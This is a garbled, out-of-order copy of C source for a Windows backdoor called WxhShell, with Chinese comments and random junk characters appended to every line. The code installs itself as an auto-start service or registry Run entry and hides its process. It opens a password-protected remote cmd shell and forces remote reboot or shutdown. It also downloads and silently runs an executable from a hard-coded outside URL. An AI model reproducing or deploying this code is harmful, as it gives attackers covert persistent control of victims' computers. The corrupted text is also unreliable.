    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %9A6c(L  
    if(Boot(SHUTDOWN)) xeX Pc7JG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >{^&;$G+*  
    else { W`^Zb[  
    closesocket(wsh); E(oI0*S.5  
    ExitThread(0); 7x^P74  
    } 58Fan*fO  
    break; &pD6Qq{  
    } ]?`t spm<t  
  // 获取shell =q( ;g]e  
  case 's': { $>;U^-#3  
    CmdShell(wsh); PI#xRKt  
    closesocket(wsh); _$?SKid|o  
    ExitThread(0); (W| Eg  
    break; w#5^A(NR  
  } S]3t{s#JW7  
  // 退出 RS~jHwIh  
  case 'x': { ^U.8grA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nDS mr  
    CloseIt(wsh); (JHL0Z/  
    break; 8rXu^  
    } H1>}E5^?  
  // 离开 io$!z=W  
  case 'q': { r-+.Ax4L"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z17x%jXy  
    closesocket(wsh); :U>o;  
    WSACleanup(); Dxu2rz!li-  
    exit(1); uf (`I  
    break; G:QaWqUb  
        } @""aNKA^r>  
  } 7 p(^I*|  
  } ^6 F-H(  
@O/-~, E68  
  // 提示信息 %W=S*"e-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <8>gb!DG  
} ~ FW@  
  } ?1Lzbou  
gh3XC.&  
  return; 3EN?{T<yf  
} H\7Qf8s|{  
%B$~yx3#  
// shell模块句柄 HgP9evz,0  
int CmdShell(SOCKET sock) oq4*m[  
{ vcnUb$%  
STARTUPINFO si; O<Rm9tZ8  
ZeroMemory(&si,sizeof(si)); W|oLS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mVN^X/L(y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i :wTPR  
PROCESS_INFORMATION ProcessInfo; NZSP*#!B  
char cmdline[]="cmd"; ON|Bpt2Qp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A=/|f$s+  
  return 0; vlAYKtl3]  
} %:2<'s2Si  
0 V:z(r  
// 自身启动模式 V^WR(Q}  
int StartFromService(void) %l!Gt"\xm  
{ f:gXXigY,  
typedef struct NWuS/Ur`9  
{  "MD  
  DWORD ExitStatus; pt&(c[  
  DWORD PebBaseAddress; %Uj7 g>  
  DWORD AffinityMask; -ckk2D?  
  DWORD BasePriority; \e64Us>"x  
  ULONG UniqueProcessId; 00 Qn1  
  ULONG InheritedFromUniqueProcessId; w:P$ S  
}   PROCESS_BASIC_INFORMATION; y{ReQn3> y  
@sRUl ,M;Z  
PROCNTQSIP NtQueryInformationProcess; r7r>1W%4  
U)%gzXTZ%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2B{~"<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tY^MP5*  
Z> jk\[  
  HANDLE             hProcess; y-qbK0=X4  
  PROCESS_BASIC_INFORMATION pbi; 8|uFW7Q  
^T83E}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?r"'JO.w  
  if(NULL == hInst ) return 0; T> cvV  
^fT|Wm<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &o>ctf.x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *Y'@|xf*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JyY-@GF  
TQyi -Dc  
  if (!NtQueryInformationProcess) return 0; M}E0Msq_o  
A` x_M!m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g/&`NlD  
  if(!hProcess) return 0; Z&gM7Zo8  
FMCX->}$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c`94a SnV  
D3s]49j)  
  CloseHandle(hProcess); hce *G@b  
~wmc5L/!?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x}t,v.:  
if(hProcess==NULL) return 0; ^W|B Xxo  
RHc63b\  
HMODULE hMod; w,fA-*bZ 0  
char procName[255]; [;3` Aw  
unsigned long cbNeeded; jdsNZV  
=c 3;@CO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ww&~ZZZ {  
.'QE o  
  CloseHandle(hProcess); !P X`sIkT  
bM[!E8dF  
if(strstr(procName,"services")) return 1; // 以服务启动 <u2rb6  
`wRQ-<Y  
  return 0; // 注册表启动 ^a&-GhX;  
} 2JNO@  
&eYnO~$!  
// 主模块 @C]]VE  
int StartWxhshell(LPSTR lpCmdLine) 1oq5|2p  
{ tJ>|t hk  
  SOCKET wsl; jU\vg;nr  
BOOL val=TRUE; ?;Ck]l#5ys  
  int port=0; +cS%b}O`$  
  struct sockaddr_in door; -F.A1{l[.  
UV}\#86!  
  if(wscfg.ws_autoins) Install(); UX3 ]cr  
{[~cQgCI  
port=atoi(lpCmdLine); wg<UCmfu!  
%$K2$dq5  
if(port<=0) port=wscfg.ws_port; V7}5Zw1  
34ij5bko_)  
  WSADATA data; Ve,h]/G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +L(0R&C  
i;4|UeUl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nX,2jT;@L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); = WFn+#&^  
  door.sin_family = AF_INET; 7?Vo([8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ? +{=>{1  
  door.sin_port = htons(port); 3n{'}SYyz  
kigq(a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <i9pJGW  
closesocket(wsl); ~Pq(Ta  
return 1; NjT#p8d X  
} ts BPQ 8Ne  
thWQU"z4  
  if(listen(wsl,2) == INVALID_SOCKET) { Hgs=qH  
closesocket(wsl); z8W@N8IqC  
return 1; ^B[%|{cO  
} $FV!HD  
  Wxhshell(wsl); TEC'}%   
  WSACleanup(); *~b3FLzq  
n3w(zB  
return 0; MRzrZZ%LQ  
.I%p0ds1r  
} ^6*LuXPv  
$6\-8zNk  
// 以NT服务方式启动 ;4DqtR"7Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .yp"6S^b  
{ |BrD:+  
DWORD   status = 0; Y{yN*9a79  
  DWORD   specificError = 0xfffffff; =Kdd+g!  
c5~d^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NPjh2 AJm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #$trC)?~q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _2*Ryz  
  serviceStatus.dwWin32ExitCode     = 0; moO=TGG;F  
  serviceStatus.dwServiceSpecificExitCode = 0; Z Z1s}TG  
  serviceStatus.dwCheckPoint       = 0; -&87nR(eW  
  serviceStatus.dwWaitHint       = 0; @o&.]FZs  
Gt{'` P,&9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xi5/Wc6  
  if (hServiceStatusHandle==0) return; WU oGIT'  
@R+bR<}]  
status = GetLastError(); \Kh@P*7  
  if (status!=NO_ERROR) \@]/ks=K  
{ hVQ TW[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; = ~{n-rMF  
    serviceStatus.dwCheckPoint       = 0; Sb_T _m  
    serviceStatus.dwWaitHint       = 0; nv WTx4oy  
    serviceStatus.dwWin32ExitCode     = status; XRU^7@Ylks  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9d ZE#l!Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }T!2IaAB  
    return; AEx|<E0  
  } [5&zyIi  
Q8:`;W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1S !<D)n  
  serviceStatus.dwCheckPoint       = 0; hR;J#w  
  serviceStatus.dwWaitHint       = 0; Mv9q-SIc[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q7id?F}3&  
} I{Pny/d`  
mG,%f"b0  
// 处理NT服务事件,比如:启动、停止 oS'M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bJ8~/d]+  
{ rx^vh%/ Q!  
switch(fdwControl) v@OyB7}  
{ W?W vT` T{  
case SERVICE_CONTROL_STOP: BaSNr6 YW  
  serviceStatus.dwWin32ExitCode = 0; ~r`~I"ZK7^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~r~~0|=  
  serviceStatus.dwCheckPoint   = 0; _E({!t"`  
  serviceStatus.dwWaitHint     = 0; ~'/I[y4t  
  { # L\t)W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rV LUT  
  } s(yVE  
  return; 5gpqN)|)[  
case SERVICE_CONTROL_PAUSE: yKR0]6ahA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;9cBlthh  
  break; p_hljgOV  
case SERVICE_CONTROL_CONTINUE: t(SSrM]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mPR(4Ol.  
  break; t >89( k  
case SERVICE_CONTROL_INTERROGATE: 1c=Roiq  
  break; 7h?yAgDv~  
}; p{:r4!*L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U].u) g$  
} j[/'`1tOe  
m.~&n!1W*`  
// 标准应用程序主函数 x~."P*5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B7Um G)C  
{ hv xvwV1  
z~d\d!u1  
// 获取操作系统版本 )r O`K  
OsIsNt=GetOsVer(); F\. n42Tz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nU"V@_?\  
*qcL(] Yq  
  // 从命令行安装 amI$0  
  if(strpbrk(lpCmdLine,"iI")) Install(); &lYKi3}x  
],r?]>  
  // 下载执行文件 "i$uV3d  
if(wscfg.ws_downexe) { -C$Z%I7 0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /*GRE#7S  
  WinExec(wscfg.ws_filenam,SW_HIDE); cK.T=7T  
} :=#*[H  
>/Z#{;kOz  
if(!OsIsNt) { )2X ng_,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;S+c<MSl  
HideProc(); x>Ah4a d  
StartWxhshell(lpCmdLine); \K 01 F  
} D5X;hd  
else 5*1wQlL  
  if(StartFromService()) }I7/FqrD  
  // 以服务方式启动 T6f{'.w  
  StartServiceCtrlDispatcher(DispatchTable); Mj$dDtw  
else WNT m  
  // 普通方式启动 vx=I3o  
  StartWxhshell(lpCmdLine); n5_r 3{  
pt8X.f,iA  
return 0; zx\N^R;Jq  
} :>lica_  
v>Il #  
|dNtM^  
iL1.R+  
=========================================== /2oTqEqaV  
vCwDE~  
?,r bD 1  
ww"ihUX  
*qg9~/  
/qF7^9LtaY  
" O?@1</r^  
{xt<`_R  
#include <stdio.h> yy?|q0  
#include <string.h> ] K7>R0  
#include <windows.h> ~c!zTe  
#include <winsock2.h> EU,4qO  
#include <winsvc.h> 6<H[1PI`,G  
#include <urlmon.h>  e4NT  
@6GM)N\{[  
#pragma comment (lib, "Ws2_32.lib") 7|6tH@4Ub  
#pragma comment (lib, "urlmon.lib") +7<{yP6wU  
_u}v(!PI  
#define MAX_USER   100 // 最大客户端连接数 L{2\NJ"+u  
#define BUF_SOCK   200 // sock buffer !?tWWU%P)  
#define KEY_BUFF   255 // 输入 buffer |aN0|O2  
fD q, )~D  
#define REBOOT     0   // 重启 kETA3(h'  
#define SHUTDOWN   1   // 关机 SPsq][5eR  
^e8R 43w:!  
#define DEF_PORT   5000 // 监听端口 5h[u2&;G  
p)ta c*US  
#define REG_LEN     16   // 注册表键长度 QN-n9f8  
#define SVC_LEN     80   // NT服务名长度 CzzG  
MCQ>BP  
// 从dll定义API @Risab n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,@!8jar@w}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  wB5zp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7V0:^Jov  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MV$>|^'em  
#`a-b<uz  
// wxhshell配置信息 H'I|tPs  
struct WSCFG { CV4V_G  
  int ws_port;         // 监听端口 U^Z[6u  
  char ws_passstr[REG_LEN]; // 口令 0s0[U  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5HG 7M&_  
  char ws_regname[REG_LEN]; // 注册表键名 .mDqZOpf=4  
  char ws_svcname[REG_LEN]; // 服务名 o;Zoj}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,-CDF)~G=3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P; }Z 3!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B\|>i~u(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v}z o v Ei  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LO.4sO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zx-+u7qKH  
:G^`LyOM  
}; ENC_#- 1x  
C4Z~9fzT  
// default Wxhshell configuration T<54qe4`p  
struct WSCFG wscfg={DEF_PORT, a\}|ikiE  
    "xuhuanlingzhe", e%bER ds  
    1, zwU8iVDe  
    "Wxhshell", (53dl(L?  
    "Wxhshell", *"fg@B5  
            "WxhShell Service", @+1E|4L1vf  
    "Wrsky Windows CmdShell Service", .ET;wK  
    "Please Input Your Password: ", JIb<>X,  
  1, Pms3X  
  "http://www.wrsky.com/wxhshell.exe", `N(.10~  
  "Wxhshell.exe" U_}$QW0'  
    }; 3!Qt_,  
ts;_T..L  
// 消息定义模块 ";s5It  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sQJM 4'8f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8.pz?{**T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +ZRsa`'^  
char *msg_ws_ext="\n\rExit."; MP}H 5  
char *msg_ws_end="\n\rQuit."; pDkT_6Q  
char *msg_ws_boot="\n\rReboot..."; ,;+\!'lS  
char *msg_ws_poff="\n\rShutdown..."; a m<R!(  
char *msg_ws_down="\n\rSave to "; u~s'<c+8_  
jLQjv  
char *msg_ws_err="\n\rErr!"; eaX`S.!jR  
char *msg_ws_ok="\n\rOK!"; @1]<LQ\\  
S_bay8L1  
char ExeFile[MAX_PATH]; ^<E+7  
int nUser = 0; CCEx>*E6c  
HANDLE handles[MAX_USER]; 'R,d?ikY  
int OsIsNt; =R>Sxaq  
fykN\b  
SERVICE_STATUS       serviceStatus; =rBFMTllM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %+I(S`}  
+W;B8^imG  
// 函数声明 e-e{-pB6  
int Install(void); JA(nDD/;  
int Uninstall(void); zl: u@!'  
int DownloadFile(char *sURL, SOCKET wsh); V)@MM2,  
int Boot(int flag); Ra{B8)Q  
void HideProc(void); +XpRkX&-  
int GetOsVer(void);  g u|;C  
int Wxhshell(SOCKET wsl); pM46I"  
void TalkWithClient(void *cs); BPG)m,/b  
int CmdShell(SOCKET sock); $AXz/fGV  
int StartFromService(void); PzV(e)~7  
int StartWxhshell(LPSTR lpCmdLine); Bw_Ih|y,w  
%I.{umU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !8L Ql}  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  Nl_;l  
3?O| X+$p  
// 数据结构和表定义 vlPE8U=  
SERVICE_TABLE_ENTRY DispatchTable[] = ~qqtFjlG^  
{ I2W2B3D` c  
{wscfg.ws_svcname, NTServiceMain}, aDOH3Ri0K!  
{NULL, NULL} X~DXx/9  
}; ky~x4_y5  
#!5Nbe  
// 自我安装 A0]o/IBz  
int Install(void) U3V<ITZI8t  
{ ; Q 6:#  
  char svExeFile[MAX_PATH]; Z|/):nVP7  
  HKEY key; d#d~t[=  
  strcpy(svExeFile,ExeFile); E1C8yIF  
[.Y=~)7FB  
// 如果是win9x系统,修改注册表设为自启动 IRU2/Ycg  
if(!OsIsNt) { <+b:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ..T (9]h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z<fEJN  
  RegCloseKey(key); ,9pi9\S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9Ac t<( V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7wqwDE  
  RegCloseKey(key);  qN QsU  
  return 0; P X0#X=$  
    } ~ZNhU;%YW  
  } O.E0LCABC  
} *]eZ Y  
else { "pPNlV]UA^  
b910Z?B^L  
// 如果是NT以上系统,安装为系统服务 |pgkl`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G;m"ao"2  
if (schSCManager!=0) m#ie{u^  
{ :A'!u r=\  
  SC_HANDLE schService = CreateService h+W^k+~(  
  ( sZH7 EK  
  schSCManager, FSmi.7  
  wscfg.ws_svcname, (lnQ!4LK  
  wscfg.ws_svcdisp, xS}H483h6W  
  SERVICE_ALL_ACCESS, AWDjj\Q4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pc7: hu  
  SERVICE_AUTO_START, nAg(lNOWN  
  SERVICE_ERROR_NORMAL, RI(uG-Y  
  svExeFile, PWMaB  
  NULL, 9CNHjs+-}s  
  NULL, o.5j@ dr  
  NULL, E5(Y*m!  
  NULL, )ziQ=k6d6  
  NULL ' XF`&3 i  
  ); ;Kf|a}m-  
  if (schService!=0) %RN-J*s]  
  { ay_D.gxz  
  CloseServiceHandle(schService); #H[ 4?4r  
  CloseServiceHandle(schSCManager); _PM<25Y,@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nnG2z@$-  
  strcat(svExeFile,wscfg.ws_svcname); ?6QJP|kE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !Ia"pNDf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %D r?.e  
  RegCloseKey(key); #:|Y(,c  
  return 0; ~Z]vr6?$h  
    } VTWE-:r  
  } 0 MIMs#  
  CloseServiceHandle(schSCManager); Nd_@J&  
} L:M9|/  
} .A\\v6@  
IDh`0/i]  
return 1; 9oP{Al  
} skz]@{38  
F}]_/cY7B  
// 自我卸载 Q: O>kCDV  
int Uninstall(void) RfBb{?PP)  
{ y!gM)9vq  
  HKEY key; j7 =3\SO  
LJwMM  
if(!OsIsNt) { M0SH-0T;Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pV6HQ:y1  
  RegDeleteValue(key,wscfg.ws_regname); 4w( vRe  
  RegCloseKey(key); Pm^N0L9?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @;fE%N  
  RegDeleteValue(key,wscfg.ws_regname); ~5NGDT#L*  
  RegCloseKey(key); DOVX$N$3  
  return 0; D:E~yh)$-  
  } LUNs|\&  
} Wi?%)hur  
} DME?kh>7  
else { X-1Vp_(,TP  
qb4;l\SfT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c@-K  
if (schSCManager!=0) Zd U{`>v  
{ 1Wk EPj,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \83A|+k  
  if (schService!=0) ^|GtO.  
  { oqba:y;AR  
  if(DeleteService(schService)!=0) { ms7 7{A3  
  CloseServiceHandle(schService); %^=!s  
  CloseServiceHandle(schSCManager); ocqB-C]  
  return 0; Tud1xq  
  } y,?G75wij  
  CloseServiceHandle(schService); J md ?  
  } R.H\b!  
  CloseServiceHandle(schSCManager); *+j{9LK  
} 2A}uqaF  
} h+3Z.WKhwP  
~H|LWCU)K8  
return 1; loUwR z  
} ` G=L07  
)H9*NB8%  
// 从指定url下载文件 (oitCIV  
int DownloadFile(char *sURL, SOCKET wsh) G>,nZ/,A{  
{ 5@D7/$bLp  
  HRESULT hr; $xtE+EV.p  
char seps[]= "/"; 1m`tqlFU9  
char *token; 7~ese+\smG  
char *file; DRW.NL o  
char myURL[MAX_PATH]; sV^h#g~Zb  
char myFILE[MAX_PATH]; p/1}>F|i  
V$<G)dwUG5  
strcpy(myURL,sURL); %?oU{KzQ@;  
  token=strtok(myURL,seps); Z4AAg  
  while(token!=NULL) //M4Sq(  
  { :aq>  
    file=token; /QXs-T}d  
  token=strtok(NULL,seps); pR6A#DgB  
  } '}+X,Usm  
LAY)">*49H  
GetCurrentDirectory(MAX_PATH,myFILE); Flujwh@rg  
strcat(myFILE, "\\"); k,R~oSA'n  
strcat(myFILE, file); 9LEilmPs  
  send(wsh,myFILE,strlen(myFILE),0); id tQXwa  
send(wsh,"...",3,0); te*Y]-&I|/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <,pLW~2-"  
  if(hr==S_OK) C6'*/wq  
return 0; 8gtCY~m  
else 6eUiI@J  
return 1; kE_@5t7O{  
HS`bto0*  
} i9\\evJs  
12d}#G<q-  
// 系统电源模块 ^s@*ISY  
int Boot(int flag) :uwRuPI  
{ mrhp)yF  
  HANDLE hToken; @ oz&  
  TOKEN_PRIVILEGES tkp; 22/?JWL>  
;WS7.  
  if(OsIsNt) { QR5,_wJ&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (: TGev  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UiK+c30FU  
    tkp.PrivilegeCount = 1; *lerPY3 q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]PzTl {]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r$r&4d Y  
if(flag==REBOOT) { k~jKJb-_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8q~FUJhU  
  return 0; {{]=zt|69  
} /y](mu"!  
else { 6PJJ?}P^1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?St=7a(D  
  return 0; 5{ 4"JO3  
} $uUb$8 Bu  
  } {"0TO|%x  
  else { siRnH(^ J  
if(flag==REBOOT) { BH#C<0="  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) StyB"1y  
  return 0;  w{ r(F`  
} l<aqiZSY  
else { ,dZ H$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (]}x[F9l  
  return 0; cPx ~|,)l  
} XY!{g(  
} _ 7BF+*T  
nG},v%  
return 1; :n+y/6 *  
} $ o5V$N D  
T^'*_*m  
// win9x进程隐藏模块  ?+ -/';  
void HideProc(void) AY&9JSu 6  
{ =MJ-s;raq  
T+K` ^xv_L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %;<k(5bhGJ  
  if ( hKernel != NULL ) J\xz^%p  
  { Th~3mf #  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -Ap2NpZ"t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^fE\S5P  
    FreeLibrary(hKernel); # Z|%0r_~  
  } !Bk[p/\  
E?Qz/*'zv  
return; ) ]/i  
} S om. qD  
I3G*+6V  
// 获取操作系统版本 FtFv<UV  
int GetOsVer(void) s`Yu"s 8}4  
{ o\@ A2r3  
  OSVERSIONINFO winfo; :jk)(=^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3R<ME c  
  GetVersionEx(&winfo); yN9$gfJC^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <OR.q  
  return 1; `W"a! ,s2  
  else ;#Jq$v)D  
  return 0; J.bF v/R  
} 0<]$v"`I  
7m|`tjQ1  
// 客户端句柄模块 F@=e2e 4  
int Wxhshell(SOCKET wsl) :(bdI]  
{ MiSja#"+A  
  SOCKET wsh; ZL4l (&"  
  struct sockaddr_in client; 6\,DnO   
  DWORD myID; Qb!!J4| !  
<CZI7]PM7  
  while(nUser<MAX_USER) 5T$}Oy1  
{ saGRP}7?  
  int nSize=sizeof(client); -TzI>Fz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hsTFAfa'  
  if(wsh==INVALID_SOCKET) return 1; }mKGuCoH>  
hFsA_x+L;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jzl?e[qPA  
if(handles[nUser]==0) aUypt(dv  
  closesocket(wsh); qhV,u;\.  
else :`+|'*b(A  
  nUser++; Smq r q  
  } IvEMg2f}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 94~"U5oQ:  
4*0:bhhhf_  
  return 0; H!unIy|  
} M|/oFV  
Np.no$_  
// 关闭 socket z $9@j2  
void CloseIt(SOCKET wsh) t[]['Iosd  
{ `Mg8]H~  
closesocket(wsh); cJxW;WI!,  
nUser--; d{QMST2&  
ExitThread(0); 8g<Q5(  
} ?!bd!:(N  
\p5|}<Sr)  
// 客户端请求句柄 ~hS3*\^~M  
void TalkWithClient(void *cs) ;Ay >+M2O  
{ :d;[DYFLxb  
69t7=r  
  SOCKET wsh=(SOCKET)cs; F;IP3tD  
  char pwd[SVC_LEN]; mSU@UD|'  
  char cmd[KEY_BUFF]; C-Nuy1o  
char chr[1]; SV$nyV  
int i,j; qq OxTG]  
fA"<MslKLK  
  while (nUser < MAX_USER) { -h>Z,-DE6  
r0)JUc}Fyq  
if(wscfg.ws_passstr) { 8 ne/=N|,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gO+\O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >F/XZ C  
  //ZeroMemory(pwd,KEY_BUFF); f"vk# 3  
      i=0; v2Dt3$@H6  
  while(i<SVC_LEN) { uzHT.iBn  
?TIV2m^?  
  // 设置超时 w?kGi>7E  
  fd_set FdRead; [dl+:P:zc  
  struct timeval TimeOut; Ee{`Y0  
  FD_ZERO(&FdRead); i~9?:plS  
  FD_SET(wsh,&FdRead); ETM2p1 ru0  
  TimeOut.tv_sec=8; K@q&HV"'.  
  TimeOut.tv_usec=0; qOW#Q:T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t:\l&R&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~V @;(_T  
X6Un;UL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p`d XqW  
  pwd=chr[0]; 2Oyy`k  
  if(chr[0]==0xd || chr[0]==0xa) { p={Jf}v  
  pwd=0; `-4'/~G  
  break; [-4KY4R  
  } :%N*{uy  
  i++; wz|DT3"Xs  
    } y|^EGnaE  
8s<^]sFP  
  // 如果是非法用户,关闭 socket Ks#A<! ;=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zm3-C%:Bw  
} /$;,F't#2M  
#S%4?   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X` ATH^S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uaiz*Im  
<x0)7xX  
while(1) { :-)GNf yGz  
(4~X}:  
  ZeroMemory(cmd,KEY_BUFF); Gu5~ DyT`G  
y`4{!CEyLW  
      // 自动支持客户端 telnet标准   ;>DHD*3X  
  j=0; b6|Z"{TI _  
  while(j<KEY_BUFF) { &M[MEO`t8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Nbc/nB$  
  cmd[j]=chr[0]; _mXs4  
  if(chr[0]==0xa || chr[0]==0xd) { %4,xx'`  
  cmd[j]=0; e8oKn&  
  break; f e|g3>/|  
  } >:2}V]/ ;  
  j++; $0#6"urG  
    } P'sfi>A  
s D_G)c  
  // 下载文件 b4 CF`BG  
  if(strstr(cmd,"http://")) { RAV^D.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '@bJlJB9>  
  if(DownloadFile(cmd,wsh)) '99@=3AB:`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GzdRG^vN  
  else L?8^aG  
